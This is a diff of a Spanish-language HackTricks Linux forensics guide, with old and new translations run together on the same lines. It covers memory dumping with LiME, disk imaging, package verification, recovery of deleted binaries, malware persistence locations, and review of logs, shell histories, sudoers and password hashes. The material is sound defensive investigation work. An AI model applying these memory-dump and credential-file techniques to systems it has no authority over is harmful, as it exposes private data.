* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de GitHub. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,38 @@
# Forense de Linux # Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ \
¡Accede hoy mismo: Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Accede hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Recopilación de Información Inicial ## Recolección Inicial de Información
### Información Básica ### Información Básica
En primer lugar, se recomienda tener una **USB** con **binarios y bibliotecas conocidos y buenos** (puedes simplemente obtener Ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib_ y _/lib64_), luego montar la USB y modificar las variables de entorno para utilizar esos binarios: Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidas** en él (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries:
```bash ```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
``` ```
Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar **a extraer alguna información básica**: Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**:
```bash ```bash
date #Date and time (Clock may be skewed, Might be at a different timezone) date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info uname -a #OS info
@ -50,23 +52,23 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
``` ```
#### Información sospechosa #### Información sospechosa
Mientras se obtiene la información básica, se debe verificar cosas extrañas como: Mientras obtienes la información básica, deberías verificar cosas extrañas como:
- Los **procesos de root** generalmente se ejecutan con PIDS bajos, por lo que si encuentras un proceso de root con un PID grande, puedes sospechar * **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar.
- Verificar **inicios de sesión registrados** de usuarios sin shell dentro de `/etc/passwd` * Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`.
- Verificar los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin shell * Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell.
### Volcado de memoria ### Volcado de memoria
Para obtener la memoria del sistema en ejecución, se recomienda utilizar [**LiME**](https://github.com/504ensicsLabs/LiME).\ Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\
Para **compilarlo**, necesitas utilizar el **mismo kernel** que está utilizando la máquina víctima. Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima.
{% hint style="info" %} {% hint style="info" %}
Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella.
{% endhint %} {% endhint %}
Entonces, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\
En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) desde github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, simplemente **copia el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compila** LiME utilizando esos encabezados: En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/<versión del kernel>` a tu máquina, y luego **compilar** LiME usándolos:
```bash ```bash
make -C /lib/modules/<kernel version>/build M=$PWD make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -74,21 +76,21 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
LiME soporta 3 **formatos**: LiME soporta 3 **formatos**:
* Raw (cada segmento concatenado) * Raw (cada segmento concatenado)
* Padded (igual que raw, pero con ceros en los bits derechos) * Padded (igual que raw, pero con ceros en los bits de la derecha)
* Lime (formato recomendado con metadatos) * Lime (formato recomendado con metadatos)
LiME también se puede utilizar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444` LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444`
### Creación de imagen de disco ### Imagen de disco
#### Apagar #### Apagado
En primer lugar, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\ Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\
Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado "desconectar el enchufe"**. El primero permitirá que los **procesos terminen como de costumbre** y que el **sistema de archivos** se **sincronice**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desconectar el enchufe" puede implicar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá oportunidad** de hacer nada al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando `sync`** en el sistema y desconecta el enchufe. Hay **2 formas** de apagar el sistema, un **apagado normal** y un **apagado de "desenchufar"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desenchufa.
#### Tomar una imagen del disco #### Tomando una imagen del disco
Es importante tener en cuenta que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, debes asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información. Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -99,7 +101,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
``` ```
### Análisis previo de la imagen del disco ### Análisis previo de la imagen del disco
Crear una imagen del disco sin más datos. Imágenes de una imagen de disco sin más datos.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -155,8 +157,8 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -166,12 +168,12 @@ Obtenga acceso hoy:
Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos. Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos.
* **Sistemas basados en RedHat**: Utilice `rpm -Va` para una verificación exhaustiva. * **Sistemas basados en RedHat**: Usa `rpm -Va` para una verificación completa.
* **Sistemas basados en Debian**: `dpkg --verify` para verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema. * **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema.
### Detectores de Malware/Rootkit ### Detectores de Malware/Rootkit
Lea la siguiente página para conocer herramientas que pueden ser útiles para encontrar malware: Lee la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -179,12 +181,12 @@ Lea la siguiente página para conocer herramientas que pueden ser útiles para e
## Buscar programas instalados ## Buscar programas instalados
Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros y bases de datos del sistema junto con verificaciones manuales en directorios comunes. Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considera aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes.
* Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. * Para Debian, inspecciona _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica.
* Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. * Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados.
Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados. Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explora directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, y _**`/sbin`**_. Combina listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando tu búsqueda de todos los programas instalados.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -203,14 +205,14 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Recuperar Binarios en Ejecución Eliminados ## Recuperar binarios en ejecución eliminados
Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -234,92 +236,92 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
``` ```
### Servicios ### Servicios
Rutas donde un malware podría ser instalado como un servicio: Rutas donde un malware podría instalarse como un servicio:
- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo a scripts de inicio. * **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio.
- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones antiguas de Linux. * **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux.
- **/etc/init.d/**: Utilizado en ciertas versiones de Linux como Debian para almacenar scripts de inicio. * **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio.
- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux. * Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux.
- **/etc/systemd/system**: Un directorio para scripts del sistema y del administrador de servicios. * **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios.
- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben ser iniciados en un nivel de ejecución multiusuario. * **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario.
- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros. * **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros.
- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un lugar de ocultación para malware dirigido al usuario. * **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios.
- **/lib/systemd/system/**: Archivos de unidad predeterminados de todo el sistema proporcionados por paquetes instalados. * **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados.
### Módulos del Kernel ### Módulos del Kernel
Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen: Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen:
- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución. * **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución.
- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos. * **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos.
- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos. * **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos.
### Otras Ubicaciones de Inicio Automático ### Otras Ubicaciones de Autoinicio
Linux emplea varios archivos para ejecutar programas automáticamente al iniciar sesión de usuario, potencialmente albergando malware: Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware:
- **/etc/profile.d/**\*, **/etc/profile** y **/etc/bash.bashrc**: Ejecutados para cualquier inicio de sesión de usuario. * **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile** y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión.
- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema se han iniciado, marcando el final de la transición a un entorno multiusuario. * **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario.
## Examinar Registros ## Examinar Registros
Los sistemas Linux registran las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen: Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen:
- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades en todo el sistema. * **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema.
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos. * **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos.
- Utiliza `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes. * Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes.
- **/var/log/boot.log**: Contiene mensajes de inicio del sistema. * **/var/log/boot.log**: Contiene mensajes de inicio del sistema.
- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo electrónico, útil para rastrear servicios relacionados con el correo electrónico. * **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico.
- **/var/log/kern.log**: Almacena mensajes del kernel, incluyendo errores y advertencias. * **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias.
- **/var/log/dmesg**: Contiene mensajes de controladores de dispositivos. * **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos.
- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad. * **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de brechas de seguridad.
- **/var/log/cron**: Registra ejecuciones de trabajos cron. * **/var/log/cron**: Registra ejecuciones de trabajos cron.
- **/var/log/daemon.log**: Rastrea actividades de servicios en segundo plano. * **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano.
- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. * **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos.
- **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD. * **/var/log/httpd/**: Contiene registros de errores y accesos de Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. * **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL.
- **/var/log/xferlog**: Registra transferencias de archivos FTP. * **/var/log/xferlog**: Registra transferencias de archivos FTP.
- **/var/log/**: Siempre revisa aquí los registros inesperados. * **/var/log/**: Siempre verifica si hay registros inesperados aquí.
{% hint style="info" %} {% hint style="info" %}
Los registros del sistema y los subsistemas de auditoría de Linux pueden ser desactivados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que podrían ser una indicación de eliminación o manipulación. Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación.
{% endhint %} {% endhint %}
**Linux mantiene un historial de comandos para cada usuario**, almacenado en: **Linux mantiene un historial de comandos para cada usuario**, almacenado en:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados. Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo en busca de inicios de sesión desconocidos o inesperados.
Revisa archivos que pueden otorgar privilegios adicionales: Verifica archivos que pueden otorgar privilegios adicionales:
- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados. * Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados. * Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haberse otorgado.
- Examina `/etc/groups` para identificar membresías o permisos de grupo inusuales. * Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales.
- Examina `/etc/passwd` para identificar membresías o permisos de grupo inusuales. * Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales.
Algunas aplicaciones también generan sus propios registros: Algunas aplicaciones también generan sus propios registros:
- **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas. * **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ en busca de conexiones remotas no autorizadas.
- **Escritorio Gnome**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones Gnome. * **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ en busca de archivos accedidos recientemente a través de aplicaciones de Gnome.
- **Firefox/Chrome**: Verifica el historial y descargas del navegador en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas. * **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas.
- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsquedas. * **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos. * **Open Office**: Verifica el acceso reciente a documentos que pueda indicar archivos comprometidos.
- **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que podrían ser no autorizadas. * **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ en busca de transferencias de archivos que puedan ser no autorizadas.
- **MySQL**: Investiga _\~/.mysql\_history_ para consultas MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos. * **MySQL**: Investiga _\~/.mysql\_history_ en busca de consultas MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos.
- **Less**: Analiza _\~/.lesshst_ para historial de uso, incluyendo archivos vistos y comandos ejecutados. * **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios. * **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ en busca de cambios en los repositorios.
### Registros de USB ### Registros USB
[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB. [**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB.
Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista). Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista).
### Instalación ### Instalación
```bash ```bash
@ -334,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Más ejemplos e información dentro de GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión ## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
